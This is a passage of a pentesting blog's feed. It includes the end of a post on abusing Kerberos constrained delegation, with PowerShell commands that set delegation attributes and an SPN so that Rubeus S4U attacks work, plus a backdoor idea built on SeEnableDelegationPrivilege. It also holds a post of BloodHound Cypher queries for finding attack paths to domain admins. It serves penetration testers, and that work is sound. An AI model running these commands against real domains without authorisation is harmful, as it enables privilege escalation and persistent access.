&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADUSer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;msDS-AllowedToDelegateTo&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;CIFS/DC.WINDOMAIN.LOCAL&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;CIFS/DC&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-SET&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;nonexistent/BLAHBLAH&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NORMAL_ACCOUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nonexistent/BLAHBLAH&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msds-allowedtodelegateto&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CIFS/DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CIFS/DC.WINDOMAIN.LOCAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ble.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Leponge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;USER_OBJECT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take care with the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADObject -Identity bleponge -SET @{serviceprincipalname=&apos;nonexistent/BLAHBLAH&apos;}&lt;/code&gt;.&lt;br /&gt;
Indeed, in order for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S4U2Self&lt;/code&gt; mechanism to work with Rubeus, a SPN must be set on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user, otherwise an exception will be propagated:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
[!] Unhandled Rubeus exception:

System.NullReferenceException: Object reference not set to an instance of an object.
   at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
   at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
   at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
   at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now all you have to do is to go back to our &lt;a href=&quot;#Exploitation&quot;&gt;Exploitation&lt;/a&gt; section and to reproduce the attack in the context of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Testing with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HOST&lt;/code&gt; service class (HOST/DC), it was impossible for us to list our share &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\DC\C$&lt;/code&gt;. This has already been encountered by &lt;a href=&quot;https://beta.hackndo.com/service-principal-name-spn/#cas-particulier---host&quot;&gt;pixis&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;seenabledelegationprivilege&quot;&gt;SeEnableDelegationPrivilege&lt;/h2&gt;

&lt;p&gt;We can also create a backdoor for a user by assigning him the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeEnableDelegationPrivilege&lt;/code&gt;, so that this user can set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt; and write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-AllowedToDelegateTo&lt;/code&gt; field on another resource (&lt;a href=&quot;https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/&quot;&gt;https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/&lt;/a&gt;).&lt;/p&gt;

&lt;h1 id=&quot;the-end&quot;&gt;The End&lt;/h1&gt;

&lt;p&gt;Feel free to comment / ask your questions. You can also contact me on &lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;See you soon.&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>More BloodHound Cypher queries</title>
   <link href="https://phackt.org/pentesting-bloodhound-cypher-queries"/>
   <updated>2020-10-04T00:00:00+00:00</updated>
   <id>https://phackt.org/pentesting-bloodhound-cypher-queries</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;In this blog post i will share my Cypher queries which i’m using in my daily engagements. I aim to be complementary to the &lt;a href=&quot;https://www.google.com/search?q=bloodhound+cypher+queries+cheatsheet&quot;&gt;cheatsheets&lt;/a&gt; you can found out there and to the default queries you will find in &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt;.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I will also comment these ones if needed to provide further information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First a word about logon sessions enumeration :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Logon sessions enumeration is really important to know who is loggedon on which machine and from where. When the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum&quot;&gt;NetSessionEnum API&lt;/a&gt; is called, no privilege is needed to have at least two levels of information, &lt;strong&gt;0&lt;/strong&gt; and &lt;strong&gt;10&lt;/strong&gt;. We just need to be &lt;em&gt;Authenticated Users&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cypher-queries/netsessionenum.png&quot; alt=&quot;netsessionenum&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You also can continuously enumerate logon sessions thanks to BloodHound ingestor:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SharpHound.exe -c SessionLoop&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Find also a great article about Bloodhound, its sessions enumeration and the NetCease script remediation &lt;a href=&quot;https://www.strong-it.at/why-is-net-cease-not-stopping-session-collection-in-bloodhound/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;queries&quot;&gt;Queries&lt;/h2&gt;

&lt;h3 id=&quot;count-the-distinct-users-logon-sessions-on-a-domain-&quot;&gt;Count the distinct users logon sessions on a domain :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (u1:user)
WITH count(u1) as totalUsers
MATCH (c:Computer)-[r:HasSession]-&amp;gt;(u2:User)
RETURN COUNT(DISTINCT(u2))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;get-all-computers-with-their-users-logon-sessions-&quot;&gt;Get All computers with their users logon sessions :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH c=(C:Computer)-[r2:HasSession*1]-(U:User) 
WHERE U.name =~ &quot;.*&quot; return c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;get-computers-having-a-session-from-usernames-like-adm--matching-specific-os-&quot;&gt;Get computers having a session from usernames like “ADM.*”  (matching specific OS) :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=((S:Computer)-[r:HasSession*1]-&amp;gt;(T:User))
WHERE T.name =~ &quot;ADM.*&quot;
AND S.operatingsystem =~ &quot;.*XP.*&quot;
RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-domain-admins-&quot;&gt;Find all Domain Admins :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:Group) WHERE n.objectid =~ &quot;(?i)S-1-5-21-.*-512&quot; WITH n MATCH p=(n)&amp;lt;-[r:MemberOf*1..]-(m) RETURN n,r,m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For all Well-known security identifiers: &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows&quot;&gt;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;find-all-domain-admins-nested-sid-s-1-5-21--512-having-a-session-opened-on-a-domain-computer-&quot;&gt;Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (m:User)-[r:MemberOf*1..]-&amp;gt;(n:Group) WHERE n.objectid =~ &quot;(?i)S-1-5-.*-512&quot; WITH m MATCH q=((m)&amp;lt;-[:HasSession]-(o:Computer)) RETURN q
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;show-all-high-value-target-principals-&quot;&gt;Show all high value target principals :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (m {highvalue:true}) RETURN m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;list-of-unique-users-with-a-path-to-a-highvalue-targets-&quot;&gt;List of unique users with a path to a “highvalue” targets :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (u:User) MATCH (g {highvalue:true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|TrustedBy|WriteDacl|WriteOwner|GetChanges|GetChangesAll*1..]-&amp;gt;(g)) RETURN DISTINCT(u.name) AS USER, u.enabled as ENABLED,count(p) as PATHS order by u.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;shortest-paths-from-domain-users-to-highvalue-targets-&quot;&gt;Shortest paths from Domain Users to “highvalue” targets :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=shortestPath((g:Group {name:&quot;DOMAIN USERS@PHACKT.LOCAL&quot;})-[*1..]-&amp;gt;(n {highvalue:true})) WHERE g.objectid ENDS WITH &apos;-513&apos; AND g&amp;lt;&amp;gt;n return p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-user-with-a-username-like-adm-who-logged-on-a-computer-which-has-a-owned-local-admin-&quot;&gt;Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH c=(U:User {owned:true})-[r:AdminTo*1]-(C:Computer)-[r2:HasSession*1]-(P:User) WHERE P.name =~ &quot;A_.*&quot; return c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-edges-that-a-specific-user-has-against-all-the-nodes-hassession-is-not-calculated-as-it-is-an-edge-that-comes-from-computer-to-user-not-from-user-to-computer-&quot;&gt;Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User) WHERE n.name =~ &apos;HELPDESK@DOMAIN.GR&apos; MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-the-edges-that-any-unprivileged-user-based-on-the-admincountfalse-has-against-all-the-nodes-&quot;&gt;Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :    &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-interesting-edges-related-to-acl-abuse-that-unprivileged-users-have-against-other-users-&quot;&gt;Find interesting edges related to “ACL Abuse” that unprivileged users have against other users :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-interesting-edges-related-to-acl-abuse-that-unprivileged-users-have-against-computers-&quot;&gt;Find interesting edges related to “ACL Abuse” that unprivileged users have against computers :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]-&amp;gt;(m:Computer)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-if-unprivileged-users-have-rights-to-add-members-into-groups-&quot;&gt;Find if unprivileged users have rights to add members into groups :        &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]-&amp;gt;(m:Group)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-only-the-adminto-privileges-edges-of-the-domain-users-against-the-domain-computers-&quot;&gt;Find only the AdminTo privileges (edges) of the domain users against the domain computers :       &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]-&amp;gt;(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]-&amp;gt;(c:Computer) RETURN p2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-which-groups-canrdp-to-computers-&quot;&gt;Find which groups canRDP to computers :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:Group) MATCH (m:Computer) MATCH p=allShortestPaths((n)-[r:CanRDP*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;The canRDP edge runs from a user or a group to a computer and incates that the principals are part of the &lt;strong&gt;Remote Desktop Users&lt;/strong&gt; local group on the target system.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;find-what-groups-have-local-admin-rights-&quot;&gt;Find what groups have local admin rights :           &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=(m:Group)-[r:AdminTo]-&amp;gt;(n:Computer) RETURN m.name, n.name ORDER BY m.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-what-users-have-local-admin-rights-&quot;&gt;Find what users have local admin rights :              &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=(m:User)-[r:AdminTo]-&amp;gt;(n:Computer) RETURN m.name, n.name ORDER BY m.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mark-a-user-as-owned-&quot;&gt;Mark a user as owned :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User) WHERE n.name STARTS WITH toUpper(&apos;brobin&apos;) SET n.owned=true RETURN n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;displays-all-gpos-&quot;&gt;Displays all GPOs :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Match (n: GPO) return n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;displays-all-gpos-containing-a-keyword-in-their-name-&quot;&gt;Displays all GPOs containing a “keyword” in their name :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Match (n: GPO) WHERE n.name CONTAINS &quot;SERVER&quot; return n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-if-a-domain-user-has-some-interesting-rights-on-a-gpo-&quot;&gt;Find if a domain user has some interesting rights on a GPO :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p = (u: User) - [r: AllExtendedRights | GenericAll | GenericWrite | Owns | WriteDacl | WriteOwner | GpLink * 1 ..] -&amp;gt; (g: GPO) RETURN p LIMIT 25
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If i have some fresh queries, i will post them on this page regularly.&lt;/p&gt;

&lt;p&gt;If you also want to contribute: here is the &lt;a href=&quot;https://github.com/phackt/phackt.github.io/tree/master/_posts&quot;&gt;repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Wish you a good day,&lt;br /&gt;
Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SecurityTube Advanced Red Team Lab training - Worth it ?</title>
   <link href="https://phackt.org/securitytube-redteam-labs-invoke-recon"/>
   <updated>2020-09-22T00:00:00+00:00</updated>
   <id>https://phackt.org/securitytube-redteam-labs-invoke-recon</id>
   <content type="html">&lt;p&gt;Quick answer: &lt;strong&gt;Totally&lt;/strong&gt; !&lt;/p&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

